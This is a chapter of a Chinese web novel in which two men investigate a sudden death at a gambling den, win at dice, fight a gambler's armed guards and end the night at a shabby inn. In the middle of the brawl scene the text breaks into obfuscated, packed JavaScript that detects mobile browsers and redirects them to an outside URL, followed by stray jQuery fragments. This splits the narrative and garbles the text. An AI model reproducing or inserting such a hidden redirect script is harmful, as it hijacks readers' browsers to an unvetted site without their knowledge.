“你问我城中怪事？没有吧。” 一个要收摊的男子一边整理着他的货物一边回答二人的问题。


    “你再想想，特别是这几天，前几个月也算。”薛戬追问。


    “这个……”男子用麻布盖住一筐子的胭粉奁，整理妥当，认真回忆起来，“上个月啊，倒是有个事儿，也大概就是这几日的事——有个人在赌坊暴毙而亡了，据说是什么心痹。不知道算不算得上你们所谓的‘怪事’。”


    两人闻言一怔，暴毙的情况不正和多年前想纳陈婉的钟姓富商一样吗？


    “当时为这事儿那赌坊还被查封了数十日，前不久才刚解封，衙门的倒腾一大圈，最终还是以疾病暴毙结案了，也没个凶手。”男子惋惜道，“一个壮年小伙突地便没了，好生奇怪。人啊，别跟自己过不去，万一哪日就没了，阎王爷索命，这谁说得清楚……”


    之前他们问了几个人，似乎就这事勉强和陈老太沾点边，也算是个突破口吧，是巧合还是真有关联可去一探究竟。


    “请问是哪家赌坊？”顾今安问道。


    “就那方直去不远，叫‘八方来财’，是城中最大的赌坊。”男子给他们指了一个方向。


    “多谢了。”


    男子趁火打劫，掀开自己刚盖好的货物，“二位公子给心上人买点胭脂粉吧。”


    “没有心上人，但是可以买。”顾今安觉得别人好歹提供了线索，可以照顾一下生意。


    “买什么买，没钱了。”薛戬抓住他的胳膊肘阻止他掏钱，“要给心上人买胭脂也得先解决自己的温饱吧。”


    “……”顾今安抱歉地看向男子。确实买了之后他们晚上就只能露宿街头了。


    “哼！”男子再次用麻布盖上货物，坐上他的小驴车，头也不回地走了。


    *


    这家赌坊确实大，两层独楼，立于繁华街区，飞檐斗拱，大大的门匾上写着龙飞凤舞的“八方来财”。


    “来这里横竖不会白来的，”薛戬道，“你说陈老太会杀负心汉，赌场聚集的大多数人也是些背着家里人来赌博的，那陈老太的目标在这里的可能性很大，我们来逛一圈，了解个大概，后续也能顺藤摸瓜，查清陈老太的事。”


    顾今安自是认同。


    二人踏进了赌坊。


    乌烟瘴气、蜩螗羹沸——这是薛戬对这里的第一印象。


    偌大的堵坊只有一扇窗户，窗上蒙着陈年的旧油纸——发黄、带着污渍，天光透过这油纸照得大堂一片同样的昏黄颜色，有细尘在飞扬，又脏又阴沉。


    一室充斥着汗臭、脚臭和说不明的恶心气味，用薛戬的话来说就是比训练结束后的宿舍更像炼狱。


    而挤满大堂的赌徒们浑然不觉，摇博齿（注1）之声、拍桌子之响交杂成一片，上瘾的赌徒像狰狞恶鬼，挥舞着衣袖，畅叫扬疾，眼底的欲望露.骨，以小博大，置身贪婪的瑶天，幻想着三界群仙撞倒宝坛，鉴他“精诚”，予他馈赠。


    二人靠边站着，在场内观望了一圈，所有人都在认真赌博，观察不出个所以然来，而且没人有闲工夫接受他们的提问。


    他们更是寻不到老板掌柜，店小二也是支支吾吾讳莫如深，似乎并不想谈起影响他们生意的暴毙事件。


    一时陷入僵局。


    “来都来了，体验体验，我们光站在这里太可疑了。”正事没有进展，薛戬也正好挺好奇古代的赌博怎么玩的。


    既然穿越到古代了，多了解了解满足一下好奇心也不是坏事，酒楼客栈他已经见过了，如果可以，还想见识一下青楼、瓦舍、墟市。可惜没有手机和相机来拍照留影。


    ——某人心态好到离谱。


    “体验？”顾今安没理解


    “你玩过吗？”薛戬看着他挑眉。


    “赌博吗？从未。”


    “来看看。”薛戬拽着他来到了空气最清新的一桌。


    这家赌坊规模大，当下最盛行的玩摇骰子、推牌九和打叶子牌它都有，他们来的这桌，在摇骰子。


    木桌上划分了揭蛊和押注的区域，庄家把三枚博齿摇得“当当”作响，赌徒像一群疯子把银两重重砸在桌子上，嘴里大喊着自己压的注：“大！！”“小！！”“大大！！”喊得唾沫横飞，好像谁声音大就是谁赌中似的。


    薛戬看了会儿明白了所谓的“大小”，非常直白——三枚骰子点数之和为三到九为“小”，和为十到十八则为“大”。


    他朝顾今安伸出手。


    顾今安盯着他的手，“怎么？”


    “借我点钱，后面还你。”薛戬道。


    “好。”顾今安开始掏钱，“只玩一次，浅尝辄止。”


    薛戬寻思了一下，又按住了顾今安的手，“算了，万一输了，没钱住店了，就在旁边看着吧。”


    “第一次来？”一个女声在薛戬身后响起。


    薛戬回头看去，说话的是一个长相甜美的姑娘，身着一袭鹅黄长裙，脖颈间围着雪白的兔毛围脖，肤白若雪，青丝及腰，一双杏目秋波婉转，似有笑意看着薛戬。


    “是第一次来。”薛戬答道。


    “公子可知‘不赌莫看’的道理？看了便赌上一赌。”姑娘伸出手来，这手一看便是不沾阳春水的细嫩，手心躺着一块银锭，“不如公子帮我押一局，输了算我的，赢了我们对半分？”


    “这哪有自己押来得有趣呢？”薛戬错开半步，示意那姑娘自己来押。


    姑娘笑道，“我已经连输十局了，见公子正好想玩，而我手气欠佳不想自己押，公子帮我押上一局，岂不是两全其美？”


    薛戬不知道这是不是古代赌坊的什么骗局，侧头看向顾今安，想询问他的意思。却发现后者正盯着他，似乎在好奇他会怎么决定。


    薛戬：“……”忘了这人也是第一次来玩。


    “好啊。”薛戬答应了，接过那姑娘手心的银锭，随手扔在了“大”上面。


    随着庄家摇起花式骰子，旁边的赌徒又开始大喊大叫：


    “小！！”


    “大！！”


    “小小小！！”


    “大大大！！”


    庄家开骰蛊之前还要买个关子，赌徒急得连连催促他。


    骰盅一开——大！


    哀嚎交织着欢呼，有人赢有人输，而快乐是一瞬的——赢的人叹自己押少了，要更多、更多……


    薛戬赢了。


    “哟，手气不错。”姑娘称赞道。


    顾今安也侧头看着。


    庄家派彩，薛戬领了几块碎银，按照他们说好的，赢了对半分，于是薛戬空手套白狼，得了几块碎银。


    姑娘笑意盈盈，递上一枚银锭，“要不再帮我押一局？”


    “那我怎么不押自己的？”一局的交易已经结束，薛戬有自己的本金了。


    “真是过河拆桥。”姑娘笑骂，倒也没有真正恼怒，辞别二人转去了另一桌，似乎去找下一个帮她押注的目标了。


    “还要赌吗？”顾今安问薛戬。


    薛戬给他示意那几块碎银，“有人送了游戏资金，把这些玩了吧。”


    薛戬又押了几次，都赢了，运气极好。


    顾今安就在旁边认真看他玩。


    薛戬感受了一下古代赌坊，觉得这玩意儿就和电玩城打电玩一样。


    “你也来试试。”薛戬把手心的碎银递到顾今安面前。


    顾今安推辞，“我就不用了，我运气不好。”


    薛戬自己把碎银全部塞进他手里，“随便押一个。”


    顾今安无奈地拿了一小块碎银丢在了“小”上。


    “这么点怎么玩？”薛戬直接抓着他的手把那一把碎银都押上去了。


    “诶！”顾今安人都懵了，看着那一小堆银两，心道可惜了，没眼看了。


    骰盅一开——小！


    “好！”


    “啊？”赢了？顾今安愣了愣。


    之后又一连三把，回回押中。


    “这不运气还挺好的吗？”薛戬道。


    顾今安也挺诧异。


    “咚！”旁边那个一直输的臃肿中年男子一巴掌拍在桌子上，桌上堆起来的碎银碰撞着响，“他娘的！玩不下去了！”


    他愤怒地打翻了桌上堆起来的银两，“叮叮当当”把银两撒得到处都是。


    周围几个赌徒蜂拥过来捡钱，人潮耸动。


    “真是死不悔改！”男子抬手恶狠狠推了顾今安一把，指着他的鼻子破口大骂：“忍你半天了！狗@娘养的御鬼师！就夹着尾巴蹲在桌子下面吧！祖坟都该被挖得稀巴烂，还在这里耀武扬威！还好意思赢我的钱！恬不知耻！害死那么多人不该偿命吗！？还来赢大家的血汗钱！下地狱吧！”声音极大，震得整个赌坊都静了一瞬。


    顾今安还没做出反应，薛戬一条健硕的胳膊绕过他面前一把揪住了那个中年男子的衣襟，几乎要把他矮胖的身形囫囵个提起来，剑眉压低，那眼神像个凶神， “你他妈吃屎了吗？嘴这么臭！”


    顾今安被他胳膊撞得后退了半步，被他喊得一愣，抬眸看向他。


    薛戬这一爆呵，吓得捡钱的人赶紧抓了一把撤开了，男子也被他的气势唬住了，被揪紧的衣领勒得喘不过气来，涨红了一张肥脸，被迫仰视着薛戬，还在嘴硬，“我……我说错了吗！你们出老千！与鬼沆瀣一气，鬼肯定帮你们看骰子数了！不然怎得回回都押中！？谋财害命你们是一样不少做！”


    “输不起就别玩。”薛戬冷笑道。


    “我输不起？！你知道我是谁吗！我输不起？”这话刺激得那男子破口大骂，“是你们出老千！净干下三滥的事！狗@娘养的御……”


    他话没说完，薛戬把他提得更高了些，他的话头顿时被夹断，因为呼吸不畅，面色变得黑红，他瞪大了眼睛，脚尖踮起来努力够到地面，一手抓住薛戬的手腕，一手发疯似地挥舞着，“来……来人！打！”


    他的护卫闻声方才回神，一拳朝着薛戬抡过来！破风声呼呼响在耳边，薛戬侧头躲开，同时甩开了男子的衣襟，胳膊横在顾今安胸前把他拦到自己身后。


    护卫一拳扑了个空。


    那男子跌坐在地，猛烈地咳嗽起来，咳得上起不接下气，直干呕，呵斥他的护卫，“刚才干嘛去了！干什么吃的！”


    动静太大了，周围所有人交头接耳，有的人已经悄悄逃离这是非之地了。


    男子坐在地上捂着脖子，一双肿泡眼怒视着二人，他抬手指向他们，指挥自己的两个护卫，“给我好好教训教训！我也算是为民除害！”


    “还是别打了。”顾今安劝架，可哪里有人听他的。对面的壮汉已经拔出明晃晃的刀直接砍了过来！


    薛戬挑眉。直接动刀？


    文明和谐惯了，一来就这么陡还真骇人。薛戬瞅准空荡，长腿一个后旋踢狠狠踹在壮汉胸口上！衣袍翻飞，哗哗直响。


    “哐！”得一声巨响，那人被踹得直接倒退着猛然撞在身后的赌桌上，把桌上的叶子牌撒了一地！


    真是太骇人了。薛戬再次感慨。


    “啊啊！”


    “我的嘞个娘亲……”


    “走走！”


    “快走快走！”


    赌坊里的人惊叫着朝门外拥了出去，场面


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027201|161473||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    极度混乱。


    薛戬职业病泛滥，甚至大声帮助疏散：“大家注意脚下，不要停留，别摔倒踩踏！”


    顾今安：“……”


    “上啊！平时吃的饭是吃哪儿去了！给我打！”臃肿的男子在旁边叫嚷着。


    另一个壮汉带刀扑了过来！薛戬敏捷侧身躲开他的刀，扯住他胳膊，同时转身用肩背膀一顶，那人被他的力道带得腾空翻起来，背部重重砸在桌子上！疼得他喉间瞬间溢出血腥味，结结实实吃了一记过肩摔，桌子也在巨响中四分五裂。


    顾今安一边惊叹于薛戬的功夫，一边觉得事情好像有点闹大了，“薛……”他刚开口准备再次尝试劝架，一个骰蛊飞过来精准无误地砸到了他额头上。


    “咚！”剧痛蔓延到整个头，他顿时眼前一黑，耳朵“嗡嗡”直响，扶住桌子才勉强站稳。陶瓷的器皿落到地上摔得粉碎。


    扔他的是方才被薛戬踹到桌子上那人。


    薛戬注意到了顾今安那边的动静，“草！你他妈倒是会选软柿子捏。”他上前一拳砸在那人头上，细尘在光里被劲风搅了个漩涡。


    “咚！”那人应声倒地，晕了过去。


    两个壮汉躺在地上挺尸，人跑完的大堂顿时安静了，连那个臃肿的中年男人也捂着脸坐在一旁不敢说话了，冷汗直流……


    薛戬没管那男人，走过来一手捏着顾今安大臂扶住他，“没事吧？”


    顾今安方才的晕劲儿已经过了，紧紧捂着额头，朝薛戬摇了摇头，“无事。”——才怪，摇头都晕……


    “就是他们！”赌坊管事儿带着一群手拿棍棒的大汉冲进了大堂把他们团团围住。


    顾今安：“……”


    最后，薛戬把方才自己赌博赢的银两都赔给了赌坊，这事儿才算是揭过了。


    *


    二人灰溜溜站在街边。


    “严重吗？我看看。”薛戬对顾今安说着就已经抬手掰开了他捂着额头的手。


    薛戬的手宽大灼热，顾今安觉得覆盖在自己手背上，竟有些烫人。


    “只是额头红肿了，没有破皮流血，还好，拿冰……哎，没冰。”薛戬松开他的手，“别揉，会加重。”


    顾今安想着，刚才只注意着薛戬那边，完全没有想到另一个人会偷袭他，避之不及，幸好情急之下他还是用「念」挡了几分，不然那个陶瓷骰蛊砸过来非死即残。


    自己方才还觉得赌赢了还是有运气的，原来这才是结果啊。还是得倒霉。


    “你呢？你的伤没事吧？”顾今安很担心薛戬的伤口因为方才的打斗又裂开了。


    “没事。就是子弹伤太深扯着有点痛。”薛戬举起胳膊测试了一下，确实还有些痛。


    “子弹？是那个金色长条的珠子吗？”顾今安比划着那玩意儿大概的形状。


    “是吧。”薛戬看着顾今安，觉得这人还是挺厉害的，第一次见也能正确掏出来。


    日薄西山，街上鳞次栉比的商铺已经陆陆续续收摊打烊了。人来人往，归意似箭，行色匆匆。


    “结果在赌坊也没探查出个所以然来，还跟人打了一架。”薛戬道。


    “原因在我，身份特殊，连累你了。”顾今安道。


    薛戬看向他。这些人究竟是对御鬼师有多大的仇怨，多赢几局都要被针对。


    难道御鬼师真的十恶不赦？可这人救了自己，而且相处下来不像坏人。那个胖子说的“害死那么多人”是什么意思？


    看来，如果自己还要跟这位御鬼师同志同路一段时间，有必要找时间问问御鬼师到底发生了什么，也能对这些事情防备一下。


    “别总把事往自己身上揽，探查走弯路常有的事，天不会塌的。”薛戬道，“要不今天先这样？找个地方睡觉吧。”


    *


    他们在城中闲逛，废了一番周折才寻到一家愿意让他们下榻的客栈——一来是因为御鬼师身份，二来则是因为他们方才与之争执的胖子可能真的身份不一般。


    这客栈看起来挺大，却又破又旧。


    他们分到的房间刚开门就是一股霉臭扑面而来，屋内窄小，摆设简陋，就算熄灭了蜡烛也能借朦胧月光把房间内的情况看个七七八八。


    薛戬都想背《陋室铭》了。


    但这客栈破是破，却五脏俱全，薛戬如愿以偿泡了个热水澡。


    别说，古代这桶泡澡还挺舒服。


    “好些了吗？”两人沐浴完，薛戬拿湿抹布给顾今安敷了会儿额头。


    “可能吧？”顾今安其实觉得没变化。


    “明天长出个青头包来，然后过几天就消了。”薛戬把抹布搭在水盆边上。


    “不如你的伤势严重——早些休息吧，明日再出去问问。”顾今安缩进被子里。


    薛戬熄灭了案上的蜡烛，也躺在了地铺上，“这事到现在也没个头绪，保不准我们白来一趟，如果对陈婉生前事搞不清，你准备怎么办？”


    “如果实在没办法，我就试试直接对付她吧。”顾今安道。


    “你不是说很危险吗？”


    “可以一试。”话是这么说了，但顾今安其实把握不大，因为陈婉真正怨恨的点还尚且不明了，这好歹是个厉鬼。


    两人都没再说话了，各自在这间小小的散发霉臭的房间里酝酿睡意。


    四周归静，夜色正浓。


    有些奇怪。


    薛戬睁开眼睛。


    很不对劲儿。


    他的目光在漆黑的客房里逡巡，目光扫过衣架，扫过窗户，扫过桌子，没有任何异样，但是——


    这个房间有第三个人的呼吸声。